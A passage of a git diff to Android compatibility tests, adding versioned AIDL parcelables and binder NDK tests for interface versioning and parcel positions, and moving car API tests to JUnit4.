+ IBinder RepeatBinder(IBinder value);
+ @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
+ test_package.IEmpty RepeatInterface(test_package.IEmpty value);
+ @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
+ ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
+ @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
+ String RepeatString(String value);
+ @nullable String RepeatNullableString(@nullable String value);
+ test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
+ void RenamePolygon(inout test_package.RegularPolygon value, String newName);
+ boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
+ byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
+ char[] RepeatCharArray(in char[] input, out char[] repeated);
+ int[] RepeatIntArray(in int[] input, out int[] repeated);
+ long[] RepeatLongArray(in long[] input, out long[] repeated);
+ float[] RepeatFloatArray(in float[] input, out float[] repeated);
+ double[] RepeatDoubleArray(in double[] input, out double[] repeated);
+ String[] RepeatStringArray(in String[] input, out String[] repeated);
+ @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
+ @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
+ @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
+ @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
+ @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
+ @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
+ @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
+ @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
+ @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
+ test_package.Foo repeatFoo(in test_package.Foo inFoo);
+ void renameFoo(inout test_package.Foo foo, String name);
+ void renameBar(inout test_package.Foo foo, String name);
+ int getF(in test_package.Foo foo);
+ const int kZero = 0;
+ const int kOne = 1;
+ const int kOnes = -1;
+ const String kEmpty = "";
+ const String kFoo = "foo";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
new file mode 100644
index 0000000..14c6c2e
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/api/1/test_package/RegularPolygon.aidl
@@ -0,0 +1,6 @@
+package test_package;
+parcelable RegularPolygon {
+ String name = "square";
+ int numSides = 4;
+ float sideLength = 1.000000f;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index b4af064..b780f49 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -23,6 +23,8 @@
using IEmpty = ::aidl::test_package::IEmpty;
using RegularPolygon = ::aidl::test_package::RegularPolygon;
+using Foo = ::aidl::test_package::Foo;
+using Bar = ::aidl::test_package::Bar;
class MyTest : public ::aidl::test_package::BnTest,
public ThisShouldBeDestroyed {
@@ -287,4 +289,31 @@
*_aidl_return = in_value;
return ::ndk::ScopedAStatus(AStatus_newOk());
}
-};
\ No newline at end of file
+#ifndef USING_VERSION_1
+ // All methods added from now on should be within this macro
+ ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+ *_aidl_return = 10;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+#endif
+
+ ::ndk::ScopedAStatus repeatFoo(const Foo& in_inFoo, Foo* _aidl_return) {
+ *_aidl_return = in_inFoo;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
+ ::ndk::ScopedAStatus renameFoo(Foo* in_foo, const std::string& in_name) {
+ in_foo->a = in_name;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
+ ::ndk::ScopedAStatus renameBar(Foo* in_foo, const std::string& in_name) {
+ in_foo->d.a = in_name;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+
+ ::ndk::ScopedAStatus getF(const Foo& foo, int32_t* _aidl_return) {
+ *_aidl_return = foo.f;
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+};
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index 1173114..3491f69 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -17,6 +17,7 @@
#include <aidl/test_package/BnEmpty.h>
#include <aidl/test_package/BpTest.h>
+#include <aidl/test_package/Foo.h>
#include <aidl/test_package/RegularPolygon.h>
#include <android/binder_ibinder_jni.h>
#include <gtest/gtest.h>
@@ -24,7 +25,9 @@
#include "itest_impl.h"
#include "utilities.h"
+using ::aidl::test_package::Bar;
using ::aidl::test_package::BpTest;
+using ::aidl::test_package::Foo;
using ::aidl::test_package::ITest;
using ::aidl::test_package::RegularPolygon;
using ::ndk::ScopedAStatus;
@@ -36,6 +39,7 @@
std::shared_ptr<ITest> iface;
bool shouldBeRemote;
std::string expectedName;
+ bool shouldBeOld;
};
#define iface GetParam().iface
@@ -268,6 +272,46 @@
EXPECT_EQ("Jerry", defaultPolygon.name);
}
+TEST_P(NdkBinderTest_Aidl, RenameFoo) {
+ Foo foo;
+ Foo outputFoo;
+ ASSERT_OK(iface->renameFoo(&foo, "MYFOO"));
+
+ EXPECT_EQ("MYFOO", foo.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, RenameBar) {
+ Foo foo;
+ Foo outputFoo;
+ ASSERT_OK(iface->renameBar(&foo, "MYBAR"));
+
+ EXPECT_EQ("MYBAR", foo.d.a);
+}
+
+TEST_P(NdkBinderTest_Aidl, GetLastItem) {
+ Foo foo;
+ foo.f = 15;
+ int retF;
+ ASSERT_OK(iface->getF(foo, &retF));
+ EXPECT_EQ(15, retF);
+}
+
+TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
+ Foo foo;
+ foo.a = "NEW FOO";
+ foo.b = 57;
+ foo.d.b = "a";
+ foo.e.d = 99;
+ Foo retFoo;
+
+ ASSERT_OK(iface->repeatFoo(foo, &retFoo));
+
+ EXPECT_EQ(foo.a, retFoo.a);
+ EXPECT_EQ(foo.b, retFoo.b);
+ EXPECT_EQ(foo.d.b, retFoo.d.b);
+ EXPECT_EQ(foo.e.d, retFoo.e.d);
+}
+
template <typename T>
using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
std::vector<T>*, std::vector<T>*);
@@ -448,6 +492,43 @@
});
}
+class DefaultImpl : public ::aidl::test_package::ITestDefault {
+public:
+ ::ndk::ScopedAStatus NewMethodThatReturns10(int32_t* _aidl_return) override {
+ *_aidl_return = 100; // default impl returns different value
+ return ::ndk::ScopedAStatus(AStatus_newOk());
+ }
+};
+
+TEST_P(NdkBinderTest_Aidl, NewMethod) {
+ std::shared_ptr<ITest> default_impl = SharedRefBase::make<DefaultImpl>();
+ ::aidl::test_package::ITest::setDefaultImpl(default_impl);
+
+ int32_t res;
+ EXPECT_OK(iface->NewMethodThatReturns10(&res));
+ if (GetParam().shouldBeOld) {
+ // Remote was built with version 1 interface which does not have
+ // "NewMethodThatReturns10". In this case the default method
+ // which returns 100 is called.
+ EXPECT_EQ(100, res);
+ } else {
+ // Remote is built with the current version of the interface.
+ // The method returns 10.
+ EXPECT_EQ(10, res);
+ }
+}
+
+TEST_P(NdkBinderTest_Aidl, GetInterfaceVersion) {
+ int32_t res;
+ EXPECT_OK(iface->getInterfaceVersion(&res));
+ if (GetParam().shouldBeOld) {
+ EXPECT_EQ(1, res);
+ } else {
+ // 10000 is the not-yet-frozen version
+ EXPECT_EQ(10000, res);
+ }
+}
+
std::shared_ptr<ITest> getLocalService() {
// BpTest -> AIBinder -> test
std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
@@ -488,22 +569,28 @@
INSTANTIATE_TEST_CASE_P(LocalNative, NdkBinderTest_Aidl,
::testing::Values(Params{getLocalService(),
false /*shouldBeRemote*/,
- "CPP"}));
+ "CPP",
+ false /*shouldBeOld*/}));
INSTANTIATE_TEST_CASE_P(
LocalNativeFromJava, NdkBinderTest_Aidl,
::testing::Values(Params{
getNdkBinderTestJavaService("getLocalNativeService"),
- false /*shouldBeRemote*/, "CPP"}));
+ false /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
INSTANTIATE_TEST_CASE_P(LocalJava, NdkBinderTest_Aidl,
::testing::Values(Params{
getNdkBinderTestJavaService("getLocalJavaService"),
- false /*shouldBeRemote*/, "JAVA"}));
+ false /*shouldBeRemote*/, "JAVA", false /*shouldBeOld*/}));
INSTANTIATE_TEST_CASE_P(
RemoteNative, NdkBinderTest_Aidl,
::testing::Values(Params{
getNdkBinderTestJavaService("getRemoteNativeService"),
- true /*shouldBeRemote*/, "CPP"}));
+ true /*shouldBeRemote*/, "CPP", false /*shouldBeOld*/}));
INSTANTIATE_TEST_CASE_P(RemoteJava, NdkBinderTest_Aidl,
::testing::Values(Params{
getNdkBinderTestJavaService("getRemoteJavaService"),
- true /*shouldBeRemote*/, "JAVA"}));
+ true /*shouldBeRemote*/, "JAVA", false /*shouldBeOld*/}));
+
+INSTANTIATE_TEST_CASE_P(RemoteNativeOld, NdkBinderTest_Aidl,
+ ::testing::Values(Params{
+ getNdkBinderTestJavaService("getRemoteOldNativeService"),
+ true /*shouldBeRemote*/, "CPP", true /*shouldBeOld*/}));
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
new file mode 100644
index 0000000..4332c20
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Bar.aidl
@@ -0,0 +1,10 @@
+package test_package;
+
+parcelable Bar {
+ String a="BAR";
+ String b="BAR2";
+ float c=4.2f;
+ int d=100;
+ // This field doesn't exist in version 1.
+ String e="HELLO";
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
new file mode 100644
index 0000000..8fb53e2
--- /dev/null
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -0,0 +1,14 @@
+package test_package;
+
+import test_package.Bar;
+
+parcelable Foo {
+ String a="FOO";
+ int b=42;
+ float c=3.14f;
+ Bar d;
+ Bar e;
+ int f=3;
+ // This field doesn't exist in version 1.
+ @nullable String[] g;
+}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index bf9add2..7329271 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -18,6 +18,7 @@
import test_package.IEmpty;
import test_package.RegularPolygon;
+import test_package.Foo;
// This test interface is used in order to test the all of the things that AIDL can generate which
// build on top of the NDK.
@@ -92,4 +93,12 @@
// (specifically for testing out parameters)
@nullable String[] DoubleRepeatNullableStringArray(
in @nullable String[] input, out @nullable String[] repeated);
+
+ Foo repeatFoo(in Foo inFoo);
+ void renameFoo(inout Foo foo, String name);
+ void renameBar(inout Foo foo, String name);
+ int getF(in Foo foo);
+
+ // Methods that do not exist in version 1
+ int NewMethodThatReturns10();
}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
index 4aef74a..87279a5 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_parcel.cpp
@@ -278,3 +278,92 @@
}));
AIBinder_decStrong(binder);
}
+
+TEST_F(NdkBinderTest_AParcel, ReturnParcelPosition) {
+ AIBinder* binder = SampleData::newBinder(
+ [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+ size_t position = AParcel_getDataPosition(out);
+ EXPECT_EQ(position, AParcel_getDataPosition(out));
+ EXPECT_OK(AParcel_setDataPosition(out, position));
+ EXPECT_EQ(position, AParcel_getDataPosition(out));
+
+ return STATUS_OK;
+ },
+ ExpectLifetimeTransactions(1));
+
+ EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel));
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, TooLargePosition) {
+ AIBinder* binder = SampleData::newBinder(
+ [&](transaction_code_t, const AParcel* /*in*/, AParcel* out) {
+ EXPECT_OK(AParcel_setDataPosition(out, 0));
+ EXPECT_OK(AParcel_setDataPosition(out, INT32_MAX));
+ EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -1));
+ EXPECT_EQ(STATUS_BAD_VALUE, AParcel_setDataPosition(out, -2));
+ return STATUS_OK;
+ },
+ ExpectLifetimeTransactions(1));
+
+ EXPECT_OK(SampleData::transact(binder, kCode, WriteNothingToParcel,
+ ReadNothingFromParcel));
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AParcel, RewritePositions) {
+ const std::string kTestString1 = "asdf";
+ const std::string kTestString2 = "aoeu";
+
+ // v-- position v-- postPosition
+ // | delta | "asdf" | "aoeu" |
+ // ^-- prePosition
+ //
+ // uint32_t delta = postPosition - prePosition
+
+ AIBinder* binder = SampleData::newBinder(
+ [&](transaction_code_t, const AParcel* in, AParcel* /*out*/) {
+ uint32_t delta;
+ EXPECT_OK(AParcel_readUint32(in, &delta));
+ size_t prePosition = AParcel_getDataPosition(in);
+ size_t postPosition = prePosition + delta;
+
+ std::string readString;
+
+ EXPECT_OK(AParcel_setDataPosition(in, postPosition));
+ EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+ EXPECT_EQ(kTestString2, readString);
+
+ EXPECT_OK(AParcel_setDataPosition(in, prePosition));
+ EXPECT_OK(::ndk::AParcel_readString(in, &readString));
+ EXPECT_EQ(kTestString1, readString);
+
+ EXPECT_EQ(postPosition, AParcel_getDataPosition(in));
+
+ return STATUS_OK;
+ },
+ ExpectLifetimeTransactions(1));
+
+ EXPECT_OK(SampleData::transact(
+ binder, kCode,
+ [&](AParcel* in) {
+ size_t position = AParcel_getDataPosition(in);
+ EXPECT_OK(AParcel_writeUint32(in, 0)); // placeholder
+ size_t prePosition = AParcel_getDataPosition(in);
+ EXPECT_OK(::ndk::AParcel_writeString(in, kTestString1));
+ size_t postPosition = AParcel_getDataPosition(in);
+ EXPECT_OK(::ndk::AParcel_writeString(in, kTestString2));
+
+ size_t delta = postPosition - prePosition;
+ EXPECT_OK(AParcel_setDataPosition(in, position));
+ EXPECT_OK(AParcel_writeUint32(in, static_cast<uint32_t>(delta)));
+
+ return STATUS_OK;
+ },
+ ReadNothingFromParcel));
+
+ AIBinder_decStrong(binder);
+}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 3b777ae..4552c0e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -39,6 +39,8 @@
import test_package.IEmpty;
import test_package.ITest;
import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -136,7 +138,10 @@
assertEquals(null, mInterface.RepeatNullableBinder(null));
}
- private static class Empty extends IEmpty.Stub {}
+ private static class Empty extends IEmpty.Stub {
+ @Override
+ public int getInterfaceVersion() { return Empty.VERSION; }
+ }
@Test
public void testRepeatInterface() throws RemoteException {
@@ -377,4 +382,52 @@
Assert.assertArrayEquals(value, out2);
}
}
+
+ @Test
+ public void testGetLastItem() throws RemoteException {
+ Foo foo = new Foo();
+ foo.d = new Bar();
+ foo.e = new Bar();
+ foo.f = 15;
+
+ assertEquals(foo.f, mInterface.getF(foo));
+ }
+
+ @Test
+ public void testRepeatFoo() throws RemoteException {
+ Foo foo = new Foo();
+
+ foo.a = "NEW FOO";
+ foo.b = 57;
+
+ foo.d = new Bar();
+ foo.d.b = "a";
+
+ foo.e = new Bar();
+ foo.e.d = 99;
+
+ Foo repeatedFoo = mInterface.repeatFoo(foo);
+
+ assertEquals(foo.a, repeatedFoo.a);
+ assertEquals(foo.b, repeatedFoo.b);
+ assertEquals(foo.d.b, repeatedFoo.d.b);
+ assertEquals(foo.e.d, repeatedFoo.e.d);
+ }
+
+ @Test
+ public void testRenameFoo() throws RemoteException {
+ Foo foo = new Foo();
+ foo.d = new Bar();
+ foo.e = new Bar();
+ mInterface.renameFoo(foo, "MYFOO");
+ assertEquals("MYFOO", foo.a);
+ }
+ @Test
+ public void testRenameBar() throws RemoteException {
+ Foo foo = new Foo();
+ foo.d = new Bar();
+ foo.e = new Bar();
+ mInterface.renameBar(foo, "MYBAR");
+ assertEquals("MYBAR", foo.d.a);
+ }
}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
index 6b8b9eb..30503e3 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NativeService.java
@@ -26,10 +26,23 @@
public class NativeService extends Service {
private final String TAG = "NativeService";
+ private final IBinder mBinder;
+
+ private NativeService() {
+ this("binder_ndk_test_interface_new");
+ }
+
+ private NativeService(String libName) {
+ System.loadLibrary(libName);
+ mBinder = getBinder_native();
+ }
// the configuration of these services is done in AndroidManifest.xml
public static class Local extends NativeService {}
public static class Remote extends NativeService {}
+ public static class RemoteOld extends NativeService {
+ public RemoteOld() { super("binder_ndk_test_interface_old"); }
+ }
@Override
public IBinder onBind(Intent intent) {
@@ -37,11 +50,5 @@
return mBinder;
}
- private IBinder getBinder() {
- System.loadLibrary("binder_ndk_test");
- return getBinder_native();
- }
private native IBinder getBinder_native();
-
- private final IBinder mBinder = getBinder();
}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
index 13c75d2..9bc65ee 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/NdkBinderTest.java
@@ -53,4 +53,9 @@
InstrumentationRegistry.getTargetContext(), JavaService.Remote.class)
.get().asBinder();
}
+ static IBinder getRemoteOldNativeService() {
+ return new SyncTestServiceConnection(
+ InstrumentationRegistry.getTargetContext(), NativeService.RemoteOld.class)
+ .get().asBinder();
+ }
}
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index 29104b6..0cd785e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -24,11 +24,16 @@
import test_package.IEmpty;
import test_package.ITest;
import test_package.RegularPolygon;
+import test_package.Foo;
+import test_package.Bar;
import java.util.concurrent.CountDownLatch;
public class TestImpl extends ITest.Stub {
@Override
+ public int getInterfaceVersion() { return TestImpl.VERSION; }
+
+ @Override
public String GetName() {
return "JAVA";
}
@@ -265,4 +270,33 @@
System.arraycopy(in_value, 0, repeated, 0, in_value.length);
return in_value;
}
+
+ @Override
+ public int NewMethodThatReturns10() {
+ return 10;
+ }
+
+ @Override
+ public Foo repeatFoo(Foo inFoo) {
+ return inFoo;
+ }
+
+ @Override
+ public void renameFoo(Foo foo, String name) {
+ foo.a = name;
+ }
+
+ @Override
+ public void renameBar(Foo foo, String name) {
+ if (foo.d == null) {
+ foo.d = new Bar();
+ }
+ foo.d.a = name;
+ }
+
+ @Override
+ public int getF(Foo foo) {
+ return foo.f;
+ }
+
}
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index 7310085..049a8a6 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ compatibility-device-util \
+ ctstestrunner
LOCAL_JAVA_LIBRARIES := android.car android.test.base.stubs
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index c931169..558e7be 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -23,4 +23,5 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.car.cts" />
</test>
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.CarModuleController"/>
</configuration>
diff --git a/tests/tests/car/src/android/car/cts/CarApiTestBase.java b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
index d982c1b..7cf6a73 100644
--- a/tests/tests/car/src/android/car/cts/CarApiTestBase.java
+++ b/tests/tests/car/src/android/car/cts/CarApiTestBase.java
@@ -16,18 +16,31 @@
package android.car.cts;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
import android.car.Car;
import android.content.ComponentName;
+import android.content.Context;
import android.content.ServiceConnection;
import android.os.IBinder;
import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.FeatureUtil;
+
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+import org.junit.After;
-public class CarApiTestBase extends AndroidTestCase {
+public abstract class CarApiTestBase {
protected static final long DEFAULT_WAIT_TIMEOUT_MS = 1000;
private Car mCar;
@@ -39,18 +52,21 @@
assertTrue(Looper.getMainLooper().isCurrentThread());
}
- @Override
protected void setUp() throws Exception {
- super.setUp();
- mCar = Car.createCar(getContext(), mConnectionListener, null);
+ assumeTrue(FeatureUtil.isAutomotive());
+
+ Context context =
+ InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mCar = Car.createCar(context, mConnectionListener, null);
mCar.connect();
mConnectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- mCar.disconnect();
+ @After
+ public void disconnectCar() throws Exception {
+ if (mCar != null) {
+ mCar.disconnect();
+ }
}
protected synchronized Car getCar() {
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index 2dd0a81..910819d 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -15,30 +15,44 @@
*/
package android.car.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import static android.car.CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED;
import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION;
import static android.car.CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND;
import android.car.Car;
import android.car.CarAppFocusManager;
+import android.content.Context;
import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+
import android.util.Log;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
+import org.junit.After;
import org.junit.Assert;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SmallTest
@RequiresDevice
+@RunWith(AndroidJUnit4.class)
public class CarAppFocusManagerTest extends CarApiTestBase {
private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
private CarAppFocusManager mManager;
- @Override
- protected void setUp() throws Exception {
+ @Before
+ public void setUp() throws Exception {
super.setUp();
mManager = (CarAppFocusManager) getCar().getCarManager(Car.APP_FOCUS_SERVICE);
assertNotNull(mManager);
@@ -57,6 +71,7 @@
}
+ @Test
public void testSetActiveNullListener() throws Exception {
try {
mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, null);
@@ -66,6 +81,7 @@
}
}
+ @Test
public void testRegisterNull() throws Exception {
try {
mManager.addFocusListener(null, 0);
@@ -75,6 +91,7 @@
}
}
+ @Test
public void testRegisterUnregister() throws Exception {
FocusChangedListerner listener = new FocusChangedListerner();
FocusChangedListerner listener2 = new FocusChangedListerner();
@@ -84,10 +101,14 @@
mManager.removeFocusListener(listener2);
}
+ @Test
public void testFocusChange() throws Exception {
+ Context context =
+ InstrumentationRegistry.getInstrumentation().getTargetContext();
+
DefaultServiceConnectionListener connectionListener =
new DefaultServiceConnectionListener();
- Car car2 = Car.createCar(getContext(), connectionListener, null);
+ Car car2 = Car.createCar(context, connectionListener, null);
car2.connect();
connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -216,10 +237,13 @@
manager2.removeFocusListener(change2);
}
+ @Test
public void testFilter() throws Exception {
DefaultServiceConnectionListener connectionListener =
new DefaultServiceConnectionListener();
- Car car2 = Car.createCar(getContext(), connectionListener);
+ Context context =
+ InstrumentationRegistry.getInstrumentation().getTargetContext();
+ Car car2 = Car.createCar(context, connectionListener);
car2.connect();
connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -274,6 +298,7 @@
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
}
+ @Test
public void testMultipleChangeListenersPerManager() throws Exception {
FocusChangedListerner listener = new FocusChangedListerner();
FocusChangedListerner listener2 = new FocusChangedListerner();
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..51cd291 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -15,29 +15,38 @@
*/
package android.car.cts;
+import static org.junit.Assert.assertNotNull;
+
import android.car.Car;
import android.car.CarInfoManager;
import android.os.Bundle;
import android.platform.test.annotations.RequiresDevice;
+import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@SmallTest
@RequiresDevice
+@RunWith(AndroidJUnit4.class)
public class CarInfoManagerTest extends CarApiTestBase {
private CarInfoManager mCarInfoManager;
- @Override
- protected void setUp() throws Exception {
+ @Before
+ public void setUp() throws Exception {
super.setUp();
mCarInfoManager = (CarInfoManager) getCar().getCarManager(Car.INFO_SERVICE);
}
+ @Test
public void testVehicleId() throws Exception {
assertNotNull(mCarInfoManager.getVehicleId());
}
+ @Test
public void testNullables() throws Exception {
// no guarantee of existence. just call and check if it throws exception.
mCarInfoManager.getManufacturer();
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 5d03ef9..3f3c9a9 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -15,20 +15,35 @@
*/
package android.car.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.car.Car;
import android.car.CarNotConnectedException;
import android.car.content.pm.CarPackageManager;
+import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.platform.test.annotations.RequiresDevice;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
import java.util.List;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@SmallTest
@RequiresDevice
+@RunWith(AndroidJUnit4.class)
public class CarPackageManagerTest extends CarApiTestBase {
private CarPackageManager mCarPm;
@@ -37,14 +52,14 @@
/** Name of the meta-data attribute for the automotive application XML resource */
private static final String METADATA_ATTRIBUTE = "android.car.application";
-
- @Override
- protected void setUp() throws Exception {
+ @Before
+ public void setUp() throws Exception {
super.setUp();
mCarPm = (CarPackageManager) getCar().getCarManager(Car.PACKAGE_SERVICE);
}
- public void testActivityDistractionOptimized() throws Exception {
+ @Test
+ public void testActivityDistractionOptimized() throws Exception {
assertFalse(mCarPm.isActivityDistractionOptimized("com.basic.package", "DummyActivity"));
// Real system activity is not allowed as well.
assertFalse(mCarPm.isActivityDistractionOptimized("com.android.phone", "CallActivity"));
@@ -69,8 +84,10 @@
}
}
+ @Test
public void testSystemActivitiesAllowed() throws CarNotConnectedException {
- List<PackageInfo> packages = getContext().getPackageManager().getInstalledPackages(
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ List<PackageInfo> packages = context.getPackageManager().getInstalledPackages(
